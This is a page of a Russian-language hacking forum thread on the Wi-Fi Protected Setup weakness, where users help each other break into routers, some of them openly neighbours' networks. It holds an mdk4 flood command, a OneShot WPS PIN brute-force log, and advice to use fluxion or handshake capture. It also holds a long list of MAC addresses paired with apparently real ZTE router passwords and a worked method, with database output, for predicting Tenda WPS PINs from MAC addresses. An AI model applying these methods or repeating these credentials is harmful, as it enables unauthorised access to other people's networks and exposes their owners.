Вход

Просмотр полной версии : Уязвимость в протоколе Wi-Fi Protected Setup


Страницы : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 [19] 20

binarymaster
26.01.2020, 14:58
Аналогичная ситуация, не могу подобрать пин WPS к Tenda с МАС 58:D9:D5:24:FD:A1

Сейчас WPS разлочен, не хотелось бы его грохнуть в Lock

Подскажите, есть ли решение WPS для этих роутеров.



В телеграм чате Router Scan есть человек, который исследовал закономерности пинов на этих устройствах. Возможно тебе надо связаться с ним.

Вот посмотри: https://github.com/drygdryg/TendaOnlinePIN

TOX1C
26.01.2020, 15:24
Сейчас WPS разлочен, не хотелось бы его грохнуть в Lock



10 попыток и уход в блокировку, после перезагрузки блокировка слетает.

Для 58:D9:D5 ситуация осложняется тем, что их в базах 3wifi очень мало, и даже приблизительно собрать "поляну устройств", чтобы примерно подгадать пинкод, для них вряд ли получится.

Генератор по ссылке выше практически бесполезен, для "устройства через одно" он предложил 40 пинкодов, и это только один раз. Для остальных 30 роутеров результата нет.

VasiliyP
20.02.2020, 18:25
Вот запуск mdk из скрипта, как можно в баш реализовать выход из цикла команды?

В идеале если бы mdk работал без проверки на связь с точкой, а просто отправил --clients клиетов и завершал работу.



Завершить mdk через фиксированное время?

Всё, что внутри run_MDK4() заменить на

timeout -s SIGKILL 5 mdk4 wlan0mon a -a $BSSID -m

5 - это время в секундах на его работу

Smiteboy
21.02.2020, 03:32
Завершить mdk через фиксированное время?

Всё, что внутри run_MDK4() заменить на

timeout -s SIGKILL 5 mdk4 wlan0mon a -a $BSSID -m

5 - это время в секундах на его работу



спасибо, its working ✌

CRACK211
21.02.2020, 19:24
спасибо, its working ✌



Интересно на tp link работает ? Есть возможность проверить ?

binarymaster
02.03.2020, 21:45
Возможно что-то новенькое, а может и не очень.

https://github.com/wiire-a/pixiewps/issues/103

https://moabi.com/advisories/CVE-2019-10064.html

Sliva
03.03.2020, 13:34
binarymaster,

подскажите, а в RS есть такая возможность брутить WPS Pin-ы и применять ДДОС атаку для перезагрузки роутера если он уходит в лок?

Payer
03.03.2020, 19:55
в RS есть такая возможность брутить WPS Pin-ы и применять ДДОС атаку для перезагрузки роутера



Это в секретном меню.

Там еще можно убрать ржавчину, залечить раны, получить диплом Сорбонны, сделать в розетке 220В, поменять доллары по 8,50 и вернуть девственность и неверного мужа.

----------

RS в первую очередь сканер. В небольшой степени брутер (можно перебирать пароли).

Никаких дидосов и других деструктивных действий он не делает.

Sliva
03.03.2020, 21:37
Это в секретном меню.

Там еще можно убрать ржавчину, залечить раны, получить диплом Сорбонны, сделать в розетке 220В, поменять доллары по 8,50 и вернуть девственность и неверного мужа.

----------

Все понял, буду искать секретное меню, в нем все, что мне нужно.

4Fun
04.03.2020, 16:56
binarymaster,

подскажите, а в RS есть такая возможность брутить WPS Pin-ы и применять ДДОС атаку для перезагрузки роутера если он уходит в лок?



Такой возможности нет. Насколько я понимаю, чтобы это делать, требуется режим мониторинга и инъекция пакетов.

4Fun
24.03.2020, 01:19
Пробовал в РоутерСкане PINы "empty", "00000000"



Надеюсь, вы пробовали пустой пин-код (""), а не слово "empty"? В Router Scan для этого в поле для пин-кодов нужно вставить перенос строки (с помощью Enter).

evel
24.03.2020, 01:22
Надеюсь, вы пробовали пустой пин-код (""), а не слово "empty"? В Router Scan для этого в поле для пин-кодов нужно вставить перенос строки (с помощью Enter).



Всё правильно, пробовал пустой, просто его так написал.

Также пробовал взломать в Bully и Reaver, доходит до M4 и ошибка 0x02.

P.S. и сканер не показывает что роутер в локе.

Linuxfan
19.04.2020, 18:11
"Сбрутил" wps-пин с помощью Oneshot.py:

python3 oneshot.py -wlan0

Scanning…

Authenticating…

[+] Authenticated

Associating with AP…

[+] Associated with 23:583:00:87:3C (ESSID: Viruscron)

Received Identity Request

Sending Identity Response…

Received WPS Message M1

Sending WPS Message M2…

Received WSC NACK

[-] Error: wrong PIN code

Trying PIN '11112730'…

Scanning…

Authenticating…

[+] Authenticated

Associating with AP…

[+] Associated with 23:583:00:87:3C (ESSID: Viruscron)

Received Identity Request

Sending Identity Response…

Received WPS Message M1

Sending WPS Message M2…

Received WSC NACK

[-] Error: wrong PIN code

99.90% complete @ 2020-04-19 15:36:07 (10.57 seconds/pin)

Trying PIN '11112747'…

Scanning…

Authenticating…

[+] Authenticated

Associating with AP…

[+] Associated with 23:583:00:87:3C (ESSID: Viruscron)

Received Identity Request

Sending Identity Response…

Received WPS Message M1

Sending WPS Message M2…

Received WSC NACK

[-] Error: wrong PIN code

Trying PIN '11112754'…

Scanning…

Authenticating…

[+] Authenticated

Associating with AP…

[+] Associated with 23:583:00:87:3C (ESSID: Viruscron)

Received Identity Request

Sending Identity Response…

Received WPS Message M1

Sending WPS Message M2…

Scanning…

Authenticating…

[+] Authenticated

Associating with AP…

[+] Associated with 23:583:00:87:3C (ESSID: Viruscron)

Received Identity Request

Sending Identity Response…

Received WPS Message M1

Sending WPS Message M2…

Received WSC NACK

[-] Error: wrong PIN code

Trying PIN '11112761'…

Scanning…

Authenticating…

[+] Authenticated

Associating with AP…

Scanning…

Authenticating…

[+] Authenticated

Associating with AP…

[+] Associated with 23:583:00:87:3C (ESSID: Viruscoron)

Sending EAPOL Start…

Received Identity Request

Sending Identity Response…

Received WPS Message M1

Sending WPS Message M2…

Received WSC NACK

[-] Error: wrong PIN code

Trying PIN '11112778'…

Scanning…

Authenticating…

[+] Authenticated

Associating with AP…

[+] Associated with 23:583:00:87:3C (ESSID: Viruscoron)

Received Identity Request

Sending Identity Response…

Received WPS Message M1

Sending WPS Message M2…

Received WSC NACK

[-] Error: wrong PIN code

Trying PIN '11112785'…

Scanning…

Authenticating…

[+] Authenticated

Associating with AP…

[+] Associated with 23:583:00:87:3C (ESSID: Viruscoron)

Received Identity Request

Sending Identity Response…

Received WPS Message M1

Sending WPS Message M2…

Received WSC NACK

[-] Error: wrong PIN code

99.95% complete @ 2020-04-19 15:36:07 (9.39 seconds/pin)

Trying PIN '11112792'…

Scanning…

Authenticating…

[+] Authenticated

Associating with AP…

[+] Associated with 23:583:00:87:3C (ESSID: Viruscoron)

Received Identity Request

Sending Identity Response…

Received WPS Message M1

Sending WPS Message M2…

Received WSC NACK

[-] Error: wrong PIN code

Trying PIN '11112808'…

Scanning…

Authenticating…

[+] Authenticated

Associating with AP…

[+] Associated with 23:583:00:87:3C (ESSID: Viruscoron)

Received Identity Request

Sending Identity Response…

Received WPS Message M1

Sending WPS Message M2…

Received WSC NACK

[-] Error: wrong PIN code

Trying PIN '11112815'…

Scanning…

Authenticating…

Scanning…

Authenticating…

[+] Authenticated

Associating with AP…

[+] Associated with 23:583:00:87:3C (ESSID: Viruscoron)

Sending EAPOL Start…

Received Identity Request

Sending Identity Response…

Received WPS Message M1

Sending WPS Message M2…

Received WSC NACK

[-] Error: wrong PIN code

Trying PIN '11112822'…

Scanning…

Authenticating…

[+] Authenticated

Associating with AP…

[+] Associated with 23:583:00:87:3C (ESSID: Viruscoron)

Received Identity Request

Sending Identity Response…

Received WPS Message M1

Sending WPS Message M2…

Received WSC NACK

[-] Error: wrong PIN code

Trying PIN '11112839'…

Scanning…

Authenticating…

[+] Authenticated

Associating with AP…

[+] Associated with 23:583:00:87:3C (ESSID: Viruscoron)

Sending EAPOL Start…

Received Identity Request

Sending Identity Response…

Received WPS Message M1

Sending WPS Message M2…

Received WSC NACK

[-] Error: wrong PIN code

100% complete @ 2020-04-19 15:36:07 (8.80 seconds/pin)

^C

First half not found…

Session saved in /root/.OneShot/sessions/2358D300873C.run


Вопрос - что делать дальше? Может кто из более опытных знает

4Fun
19.04.2020, 21:31
Вопрос - что делать дальше? Может кто из более опытных знает



Я правильно понимаю, что лог нецельный, то есть вы его правили?

У OneShot есть недостаток: он не может определить состояние WPS точки, то есть если WPS заблокируется, то вы должны остановить перебор вручную. Судя по тому, что точка возвращает WSC NACK в ответ на M2, WPS заблокирован и продолжать перебор не имеет смысла.

Если пин-код будет подобран, то OneShot напечатает учётные данные в таком формате:


[+] WPS PIN: ''
[+] WPA PSK: ''
[+] AP SSID: ''

Linuxfan
21.04.2020, 05:46
Я правильно понимаю, что лог нецельный, то есть вы его правили?

У OneShot есть недостаток: он не может определить состояние WPS точки, то есть если WPS заблокируется, то вы должны остановить перебор вручную. Судя по тому, что точка возвращает WSC NACK в ответ на M2, WPS заблокирован и продолжать перебор не имеет смысла.

Если пин-код будет подобран, то OneShot напечатает учётные данные в таком формате:


[+] WPS PIN: '<pin>'
[+] WPA PSK: '<password>'
[+] AP SSID: '<essid>'





Да, лог нецельный, это последняя часть процесса перебора. По поводу того, что возвращает WSC NACK в ответ - почему тогда wash -i mon0 показывает что блокировки wps нет?

4Fun
21.04.2020, 07:27
Да, лог нецельный, это последняя часть процесса перебора. По поводу того, что возвращает WSC NACK в ответ - почему тогда wash -i mon0 показывает что блокировки wps нет?



Некоторые роутеры (преимущественно на чипах MediaTek) впадают в состояние "глюка": WPS формально не блокируется, но тем не менее подключиться по WPS не получается из-за того, что роутер присылвает WSC NACK. Вполне возможно, что ваш такой. Советую посмотреть модель (запустите OneShot без -b) и поискать информацию на WikiDevi, к примеру.

Valeraleraaaaaaaa
23.04.2020, 23:38
Такая штука, раньше мой сосед использовал D-Link , спокойно взломала его вайфай через wps.

Через 1.5 года использования они сменили роутер (купили поновее и современней), название Rostelekom-36,в приложении,котором я взламывала прошлый роутер,написано что безопасность - 30%, т.е пароль стандартный,через wps взломать не получается,пишет что wps заблокирован,и вот уже около года пытаюсь найти pin,пока что никаких успехов. Последняя надежда это вы, так как у меня компьютера на данный момент нет,и все приходится делать через телефон.

mac 74:9d:79:14:72:d6

Какая информация нужна вообще,чтобы узнать pin?

TOX1C
24.04.2020, 01:09
безопасность - 30%, т.е пароль стандартный



На заборе ..й написано, а там дрова. WiFi Warden рисует эти проценты с потолка, а точнее видя включенный wps и поддержку wpa-tkip шифрования. Насколько хорошо защищен роутер, можно узнать только на практике, а не ориентируясь на проценты непонятно где.



пишет что wps заблокирован



Значит по pin коду не подключиться. Даже по правильному.

74:9d:79:14:72:d6 - это роутер Sercomm RV6699, никакого генератора паролей и pin кодов к ним нет.

Судя по имени сети, возможен номер телефона или номер договора в качестве пароля.

С одним лишь телефоном сеть не победить. И увы, на форумах сидят не маги, шаманы и боги, а обыкновенные люди. Придется доставать ноутбук, хотя бы на день-два, ловить хендшейк и перебирать пароль, или fluxion запускать для добычи пароля.

Linuxtester
24.04.2020, 06:10
Некоторые роутеры (преимущественно на чипах MediaTek) впадают в состояние "глюка": WPS формально не блокируется, но тем не менее подключиться по WPS не получается из-за того, что роутер присылвает WSC NACK. Вполне возможно, что ваш такой. Советую посмотреть модель (запустите OneShot без -b) и поискать информацию на WikiDevi, к примеру.



Как считаете, возможно переписать скрипт в Oneshot таким образом, что-бы роутер отвечал отправляя не WSC NACK, а то, что необходимо, что-бы получить пин и пробить наконец эту защиту?

Или здесь нужен совершенно новый подход, что нибудь наподобе сильного импульса, выводящего из строя именно блокиратор WPS, но не повреждая при этом остальные микросхемы в роутере, подобно тому, как это происходит при атомном взрыве с электроприборами, но только направленно?

CRACK211
03.05.2020, 14:26
не знал куда написать) решил здесь написать) заметил некую закономерность. чаще всего в роутерах ZTE он же MTSRouter 4ые символ цифра. Может кто заметит закономерность)

D0:60:8C:00:0D:94 htn4xds4

D0:60:8C:00:0D:0C 67z9eqyb

D0:60:8C:00:0B:54 2eb6zufp

D0:60:8C:00:08:84 sfk6sjuq

D0:60:8C:00:0A:5C kaj5uvdq

D0:60:8C:00:04:2C b3p44ssj

fandor9
03.05.2020, 17:14
Как считаете, возможно переписать скрипт в Oneshot таким образом, что-бы роутер отвечал отправляя не WSC NACK, а то, что необходимо, что-бы получить пин и пробить наконец эту защиту?

Или здесь нужен совершенно новый подход, что нибудь наподобе сильного импульса, выводящего из строя именно блокиратор WPS, но не повреждая при этом остальные микросхемы в роутере, подобно тому, как это происходит при атомном взрыве с электроприборами, но только направленно?



херасе это как это так? Электромагнитный импульс с выборочным воздействием? ВЫ можете глушить сигнал определённой частоты (забивая его шумом), но что-бы именно одну схему, да ещё и определённого роутера?

Monohrom
04.05.2020, 01:00
не знал куда написать) решил здесь написать) заметил некую закономерность. чаще всего в роутерах ZTE он же MTSRouter 4ые символ цифра. Может кто заметит закономерность)

D0:60:8C:00:0D:94 htn4xds4

D0:60:8C:00:0D:0C 67z9eqyb

D0:60:8C:00:0B:54 2eb6zufp

D0:60:8C:00:08:84 sfk6sjuq

D0:60:8C:00:0A:5C kaj5uvdq

D0:60:8C:00:04:2C b3p44ssj



Данных мало для закономерности, хотя бы на 100 роутерах такое найти.

CRACK211
04.05.2020, 12:32
Данных мало для закономерности, хотя бы на 100 роутерах такое найти.



100 штук в базе не набралось. но всеже есть пароли очень похожие друг на друга. Я взял только те где 4ый символ цифра. Может кто глянет) Заметит)


D0:60:8C:00:2A:00 ckp3uegp
D0:60:8C:00:71:B0 nfg5ayan
D0:60:8C:00:0A:5C kaj5uvdq
D0:60:8C:00:BE:60 nbz5kebp
D0:60:8C:00:18:BC ktb6nepu
D0:60:8C:00:C6:0C sex6fdaa
D0:60:8C:00:08:84 sfk6sjuq

D0:60:8C:00:AC:98 h5u2ue3x
D0:60:8C:00:DC:40 k5e9e5xu

D0:60:8C:00:A2:1C fbj2dcn2
D0:60:8C:00:35:D8 fds5t4ff

D0:60:8C:00:BC:38 7rv5zyj4
D0:60:8C:00:0B:54 2eb6zufp
D0:60:8C:0C:5F:18 4cc3zzVIP
D0:60:8C:00:81:F0 6kq5ezzs

D0:60:8C:00:B1:64 22r2ap5n
D0:60:8C:00:0D:0C 67z9eqyb
D0:60:8C:00:BC:C0 53f4gx2v
D0:60:8C:00:38:24 99s7yfu9

D0:60:8C:00:2A:6C pky73gp9
D0:60:8C:00:42:EC zyq44tkq
D0:60:8C:00:82:00 kst64nbv
D0:60:8C:00:BC:8C qsd29tha
D0:60:8C:00:2A:6C pky73gp9
D0:60:8C:00:6E:D4 tdj94g2a

D0:60:8C:00:E3:24 c3k3ujp2
D0:60:8C:00:93:1C v4c5dbgd
D0:60:8C:00:3A:9C y7x3a3nk
D0:60:8C:00:2A:04 a4s6c446
D0:60:8C:00:2A:04 a4s6c446
D0:60:8C:00:53:30 s3z9hz2h
D0:60:8C:00:CE:DC b9t2yq4g

D0:60:8C:00:0D:94 htn4xds4
D0:60:8C:00:33:9C uhq3sf3y
D0:60:8C:00:CD:1C qup4xr3n
D0:60:8C:00:BB:40 hst2a7xz
D0:60:8C:00:CD:1C qup4xr3n
D0:60:8C:00:D0:0C cck9z2j2
D0:60:8C:00:10:F8 dcy4eq3u

D0:60:8C:00:E8:B4 9uv6372f
D0:60:8C:00:80:04 9vt42jpp
D0:60:8C:00:21:10 5sk79ge4

D0:60:8C:00:C7:F4 ebr4825e
D0:60:8C:00:7C:54 a2432dqr
D0:60:8C:00:93:BC 3t55akyr
D0:60:8C:00:93:BC 3t55akyr
D0:60:8C:00:0D:0C 67z9eqyb
D0:60:8C:00:9D:34 b329qgg3
D0:60:8C:00:BA:4C 5ca3scv5
D0:60:8C:00:BC:9C te579hgq
D0:60:8C:00:B5:98 aj95udd3
D0:60:8C:00:8E:94 jb64u3sq
D0:60:8C:00:BF:60 tu96e7fs
D0:60:8C:00:52:20 gt46z75s
D0:60:8C:00:04:2C b3p44ssj

Может хотя бы маску можно будет найти.

Felis-Sapiens
07.05.2020, 12:15
чаще всего в роутерах ZTE он же MTSRouter 4ые символ цифра



Нет. Например в выборке, которую я взял (ZTE ZXHN H298N, hardware: 1.7, firmware: 1.1.6), таковых 25.7%. Что примерно соответствует соотношению цифр и букв, встречающихся в этих паролях:

2345679abcdefghjknpqrstuvxyz (исключены 08o 1il mw)

#charset #zte #h298n #mts

MadAngel
24.05.2020, 00:33
По Tp-link'ам никто не думал собрать пины из fullflash (полный дамп прошивки), что выложены в сети? При восстановлении роутера прошивкой чужого fullflash, максимум еще восстанавливают свой mac адрес, а пин не меняют.

PIN начинается с адреса 0х1FE00. Длина 8 байт. Pin хранится в юникоде, поэтому к примеру pin 11223344, в прошивке будет выглядеть так 3131323233333434

binarymaster
24.05.2020, 15:31
Pin хранится в юникоде, поэтому к примеру pin 11223344, в прошивке будет выглядеть так 3131323233333434



Это не юникод, это hex-строка. WEP ключи обычно также хранятся в NVRAM.

Isica
25.05.2020, 05:55
Пожалуйста, посчитайте пин этой Тенды, кто может:

04:95:E6:62:EA8

4Fun
25.05.2020, 22:28
Пожалуйста, посчитайте пин этой Тенды, кто может:

04:95:E6:62:EA8



К сожалению, не найдено похожих BSSID в 3WiFi, то есть 04:95:E6:62:EA:*

Isica
31.05.2020, 04:54
4Fun

Пожалуйста, уточните: для "похожих", в пределах младшего байта, Вы научились вычислять точный пин, или несколько вариантов вероятностно?

ЗЫ

Стало любопытно и я сам начал с этим ковыряться, и пока особой разницы между дистанциями в 1 и 2 байта не наблюдается.

4Fun
31.05.2020, 05:28
Пожалуйста, уточните: для "похожих", в пределах младшего байта, Вы научились вычислять точный пин, или несколько вариантов вероятностно?



Пока что вычисляю на основе таблицы дистанций, составленной с использованием данных из 3WiFi. Поскольку есть несколько дистанций пин-кодов для одной дистанции MAC-адресов, а также поскольку иногда в 3WiFi находится несколько близких к целевому MAC-адресу записей, список вероятных пин-кодов зачастую получается длинным.

Isica
31.05.2020, 19:18
4Fun

Ясно. И я занялся тем же. Сейчас пробую реализовать любопытный алгоритм

Только доступа к 3wifi у меня нет, а все данные, которыми я располагаю, взяты из вашего поста #4596

Пока возник один вопрос: возможно ли восстановить корректное значение пина, когда вычисленное значение получается 0

Monohrom
01.06.2020, 23:11
Все данные, которыми я располагаю, взяты из вашего поста #4596< 10^6?



В той выборке не только целевые Тенды, но и левые с 24 bit pin. Полностью отфильтровать данные в выборке не получилось.

Isica
02.06.2020, 02:52
А свежую нефильтрованную выборку можете сделать? И желательно со всеми полями, что есть в базе: ESSID, пароль, модель устройства, статус wps?

Monohrom
02.06.2020, 15:32
А свежую нефильтрованную выборку можете сделать? И желательно со всеми полями, что есть в базе: ESSID, пароль, модель устройства, статус wps?



Нет возможности. Все поля доступны только людям которые имеют статус администратора или разработчика в базе 3wifi. Я обычный пользователь. Попробуйте попросить @binarymaster (https://forum.antichat.xyz/members/148032/) насчёт выборки - его статус позволяет её сформировать.

Если что-то найдёте в алгоритме Тенд пишите сюда на форум.

Isica
02.06.2020, 16:54
А на мой вопрос кто-то может дать ответ:



возможно ли восстановить корректное значение пина, когда вычисленное значение получается 0 < pin < 10^6?

Isica
03.06.2020, 06:02
Итак, после "тренировки на кошках", алгоритм успешно прошёл первые полевые испытания: пин от целевой точки был найден с 6-й попытки

Monohrom
03.06.2020, 10:46
New Итак, после "тренировки на кошках", алгоритм успешно прошёл первые полевые испытания: пин от целевой точки был найден с 6-й попытки


Подробности?

Monohrom
03.06.2020, 22:42
Для тех кто пытается понять что за "Тенда алгоритм" и как его считать . Я попытался упростить пример вычисления "алгоритма"

Дано:

Целевой мак:04:95:e6:3d:40:18 - число в 16-ричной системе разделённое двоеточиями.

Примерный алгоритм нахождение пин-кода

1)Находим максимально схожий мак адрес к целовому маку(04:95:e6:3d:40:18 ).

Максимально схожий мак адрес в данном случае 04:95:e6:3d:40:30

2) Переводим целевой и схожий мак адреса из 16-ричной в 10-чную систему исчисление и находим их разность (04:95:e6:3d:40:30 - 04:95:e6:3d:40:18 )

04:95:e6:3d:40:30 == 5041859412016

04:95:e6:3d:40:18 == 5041859411992

5041859412016 - 5041859411992 = 24

3) Ищем роутеры, 5 чисел мак адреса которые совпадают, а последние отличаются на 24 (проделываем операции которые мы делали в пункте 2)

24 разность

1 пара

04:95:E6:3E:88:B8 7558907 (пины wps)

04:95:E6:3E:880 8145748

24 разность

2 пара

04:95:E6:48:81:40 6432006

04:95:E6:48:81:58 7084639

24 разность

3 пара

04:95:E6:3F:40:A8 8959580

04:95:E6:3F:40:C0 9612213

4) Берём 7 цифр пин-кода каждой пары и вычисляем между ними разность.

Для первой пары:

8145748-7558907=586841

Для второй пары:

7084639-6432006=652633

Для третьей пары:

9612213-8959580=652633

5) Берём 7 цифр пинкода 04:95:e6:3d:40:30 - максимального схожего мак адреса к целевому и вычитаем из пинкода полученные разности из пункта 4:

5827241-652633=5174608 - правильный пин-код

5827241-586841=5240400 - не верный пин-код

5174608 пин-код роутера с маком 04:95:e6:3d:40:18

Данный пример работает если разность в +1 устройство

Monohrom
03.06.2020, 23:02
@Isica (https://forum.antichat.xyz/members/327913/) вы действовали по описанному мною выше алгоритму?

Isica
04.06.2020, 00:27
И да, и нет:

да, алгоритм основан на вероятностном подборе правильной дистанции DeltaPIN = f(DeltaMAC),

но нет, не так примитивно

Алгоритм точно работает в пределах двух младших байт, причём при DeltaMAC65536), алгоритм то ли уже не работает, то ли в базе недостаточно данных (пока недоизучено).

На днях сделаю калькулятор и покажу, что получилось.

Но немешало бы дополнить базу (затем базу снова придётся отфильтровать, ибо алгоритм чувствителен к "слабым" опорным точкам. Впрочем, эту чувствительность можно значительно снизить...)

Monohrom
04.06.2020, 00:38
И да, и нет:

да, алгоритм основан на вероятностном подборе правильной дистанции DeltaPIN = f(DeltaMAC),

но нет, не так примитивно

Алгоритм точно работает в пределах двух младших байт, причём при DeltaMAC<=2048 его эффективность почти столь же высока, как при DeltaMAC=8 (правда, в последнем случае, нередко доступна ещё и SolidChain-фильтрация).

За пределами двух младших байт (DeltaMAC>65536), алгоритм то ли уже не работает, то ли в базе недостаточно данных (пока недоизучено).

На днях сделаю калькулятор и покажу, что получилось.

Но немешало бы дополнить базу. (Затем базу снова придётся отфильтровать, ибо алгоритм чувствителен к "слабым" опорным точкам. Впрочем, эту чувствительность можно значительно снизить...)



Что вы подразумеваете под опорными точками?

Isica
04.06.2020, 04:13
Monohrom

Наверное, более удачная формулировка--"точки отсчёта".

ВСЕМ

Просветите меня немного по этим точкам.

1. Вскрытая точка не позволяет сменить пароль wpа (при беспроводном подключении). Это так и задумано?

2. А пин у них, похоже, вообще не меняется?

Monohrom
04.06.2020, 04:33
А пин у них, похоже, вообще не меняется?



Если это Тенда на Реалтеке то пинкод должен меняться.Там есть реалтековский пвсевдорандомный генератор с признаками линейности. В прошивке грепать "gen-pin" оно должно вывести на бинарники wscd и flash которые можно найти в папке bin.

binarymaster
04.06.2020, 15:56
Вскрытая точка не позволяет сменить пароль wpа (при беспроводном подключении). Это так и задумано?



1. Не нужно менять пароль, если это не ваша точка.

2. Вопросы по настройке роутеров задают в соседних темах, здесь это оффтопик.



На днях сделаю калькулятор и покажу, что получилось.



Интересно будет посмотреть, спасибо за ваш труд.



Но немешало бы дополнить базу


Как ограничения самоизоляции ослабят, можно будет флешмоб провести по поиску точек в Wigle и последующей отработке на местности.

Monohrom
08.06.2020, 01:43
Составил список из вопросов по поводу алгоритма для Тенд и не понятно как эти вопросы связать.

0.Непонятно как связать DeltaMAC и DeltaPIN.

1.Есть ли смысл в формуле DeltaPIn = (DeltaMAC) ? И что там есть ещё ? какую роль выполняет DeltaMAC ?

2.Повторения, нет ПОВТОРЕНИЯ - как они появились, зачем их оставили если заметили?

4. Видно что после переполнения генератор начинает отчёт с нуля, почему?

5.Эти переполнения есть в каждой дельте. Почему?

6.Почему на больших DeltaMAC повторов DeltaPIN всё меньше и меньше?

7.Добавляющие числа к DeltaPIn это степень двойки в большенстве случаев. Зачем стали добавлять числа? Генератор выдавал слишком похожие значения?

8. Начальная DeltaPIN она какая?

Самое маленькое значение DeltaPIN которое мне попалось это 0049062

В качестве подозреваемого выбор пал на линейно конгруэнтный метод, а если точнее на его модификацию.

1) Этот метод есть во многих стандартных библиотеках программирования

2) Этим можно обьяснить повторы в DeltaPIN.

В минусы можно занести то что я не могу точно потвердить что линейно конгруэнтный метод или его модификация.

Excel файл с расчётами сделаный не мною но достаточно полезный.

https://t.me/routerscan/66754 - ссылка в телеграме

https://dropmefiles.com/RLNSM - дубль ссылки

Isica
08.06.2020, 03:33
Подробности?



Поскольку у меня пока нет времени для дальнейших экспериментов, выкладываю всё, что нарыл.

Итак, я реализовал многовекторный (точнее, двухвекторный) поиск пина по базе:

1) находим в базе два мака, ближайших к целевому (моя реализация ищет по одному маку сверху и снизу) и запоминаем расстояния до них (DeltaMAC_Up и DeltaMAC_Dn);

2) для каждого из них составляем базу знаний DeltaPIN=f(DeltaMAC): просматриваем все имеющиеся в базе пары с таким DeltaMAC, берём из них DeltaPIN-ы, группируем их и сортируем по убыванию "мажорности";

3) возвращаемся к нашим опорным точкам (MAC_Up и MAC_Dn) и вычисляем все возможные значения целевого пина как PinUP-DeltaPIN и PinDn+DaltaPIN, вычисленные пины сводим в одну таблицу, группируем и сортируем по убыванию перекрёсности и мажорности;

4) делаем дополнительную оптимизацию: от всех пинов берём фёст-халфы и ещё раз группируем и сортируем результат.

Конёк в том, что, при достаточном объёме базы, искомый пин с высочайшей вероятностью будет перекрёстным, что мне довелось испытать на практике:


MariaDB [Tenda]> select tenda_pin('04:95:E6:62:EA:D8');
*************************** 1. row ***************************
tenda_pin('04:95:E6:62:EA:D8'):
|------------------------------------------------------------------------|
|Ближайшие данные в базе:
| сверху: +1376 (04:95:E6:62:F0:38)
| 296 пар, 85 уникальных дельт, 41 мажорных (вес 85%, 51% в ТОП-10);
| снизу: -400 (04:95:E6:62:E9:48)
| 354 пар, 87 уникальных дельт, 48 мажорных (вес 89%, 49% в ТОП-10);
|После объединения осталось 130 пинов, из них 42 перекрёстных.
|Эффективность халф-оптимизации: 1.97 общая, 2.47 у перекрёстных.
|------------------------------------------------------------------------|
|ИТОГО: 66 фёст-халфов, 17 перекрёстных (вес 88.9%, 76.5% в ТОП-8).
|------------------------------------------------------------------------|
1 row in set (0.25 sec)

MariaDB [Tenda]> select * from tmp_TendaPins order by n;
+------+---------+------+------+------+------+
| n | PIN | mUp | mDn | m | X |
+------+---------+------+------+------+------+
| 1 | 9226150 | 24 | 25 | 49 | 1 |
| 2 | 9226151 | 17 | 31 | 48 | 1 |
| 3 | 9226407 | 20 | 12 | 32 | 1 |
| 4 | 9226406 | 19 | 12 | 31 | 1 |
| 5 | 6003367 | 3 | 26 | 29 | 1 |
| 6 | 9160614 | 14 | 11 | 25 | 1 |
| 7 | 9160615 | 11 | 13 | 24 | 1 |
| 8 | 6003623 | 6 | 16 | 22 | 1 |
| 9 | 9160870 | 14 | 5 | 19 | 1 |
| 10 | 6003366 | 2 | 16 | 18 | 1 |
| 11 | 9291687 | 7 | 11 | 18 | 1 |
| 12 | 9160871 | 11 | 6 | 17 | 1 |
| 13 | 5937831 | 4 | 12 | 16 | 1 |
| 14 | 9291942 | 12 | 3 | 15 | 1 |
| 15 | 9291943 | 8 | 6 | 14 | 1 |
| 16 | 226150 | 6 | 7 | 13 | 1 |
| 17 | 6068903 | 4 | 7 | 11 | 1 |
| 18 | 226407 | 9 | 2 | 11 | 1 |
| 19 | 226151 | 4 | 6 | 10 | 1 |
| 20 | 5938087 | 4 | 5 | 9 | 1 |
| 21 | 6003622 | 4 | 4 | 8 | 1 |
| 22 | 5937830 | 2 | 5 | 7 | 1 |
| 23 | 9291686 | 1 | 6 | 7 | 1 |
| 24 | 5003622 | 5 | 1 | 6 | 1 |
| 25 | 291687 | 2 | 4 | 6 | 1 |
| 26 | 160614 | 2 | 3 | 5 | 1 |
| 27 | 5003366 | 1 | 4 | 5 | 1 |
| 28 | 5003367 | 2 | 3 | 5 | 1 |
| 29 | 8226150 | 1 | 4 | 5 | 1 |
| 30 | 8226407 | 2 | 2 | 4 | 1 |
| 31 | 5003623 | 3 | 1 | 4 | 1 |
| 32 | 160615 | 1 | 3 | 4 | 1 |
| 33 | 8226151 | 1 | 3 | 4 | 1 |
| 34 | 6069159 | 1 | 3 | 4 | 1 |
| 35 | 291943 | 2 | 1 | 3 | 1 |
| 36 | 8226406 | 1 | 2 | 3 | 1 |
| 37 | 4937830 | 1 | 2 | 3 | 1 |
| 38 | 8160614 | 1 | 1 | 2 | 1 |
| 39 | 5069158 | 1 | 1 | 2 | 1 |
| 40 | 6069158 | 1 | 1 | 2 | 1 |
| 41 | 4938087 | 1 | 1 | 2 | 1 |
| 42 | 5069159 | 1 | 1 | 2 | 1 |
| 43 | 160870 | 4 | 0 | 4 | 0 |
| 44 | 6068902 | 0 | 4 | 4 | 0 |
| 45 | 6003111 | 0 | 4 | 4 | 0 |
| 46 | 226663 | 3 | 0 | 3 | 0 |
| 47 | 291686 | 3 | 0 | 3 | 0 |
| 48 | 9225895 | 0 | 3 | 3 | 0 |
| 49 | 8291687 | 0 | 3 | 3 | 0 |
| 50 | 226406 | 3 | 0 | 3 | 0 |
| 51 | 9225894 | 0 | 3 | 3 | 0 |
| 52 | 5068903 | 0 | 2 | 2 | 0 |
| 53 | 6068647 | 0 | 2 | 2 | 0 |
| 54 | 5938086 | 0 | 2 | 2 | 0 |
| 55 | 9226662 | 2 | 0 | 2 | 0 |
| 56 | 9292199 | 2 | 0 | 2 | 0 |
| 57 | 9226663 | 2 | 0 | 2 | 0 |
| 58 | 5003879 | 2 | 0 | 2 | 0 |
| 59 | 225895 | 0 | 2 | 2 | 0 |
| 60 | 160871 | 2 | 0 | 2 | 0 |
| 61 | 6003110 | 0 | 2 | 2 | 0 |
| 62 | 8160871 | 2 | 0 | 2 | 0 |
| 63 | 5937575 | 0 | 2 | 2 | 0 |
| 64 | 8291942 | 2 | 0 | 2 | 0 |
| 65 | 8291686 | 0 | 2 | 2 | 0 |
| 66 | 9292198 | 2 | 0 | 2 | 0 |
| 67 | 9291431 | 0 | 2 | 2 | 0 |
| 68 | 225894 | 0 | 2 | 2 | 0 |
| 69 | 8291307 | 1 | 0 | 1 | 0 |
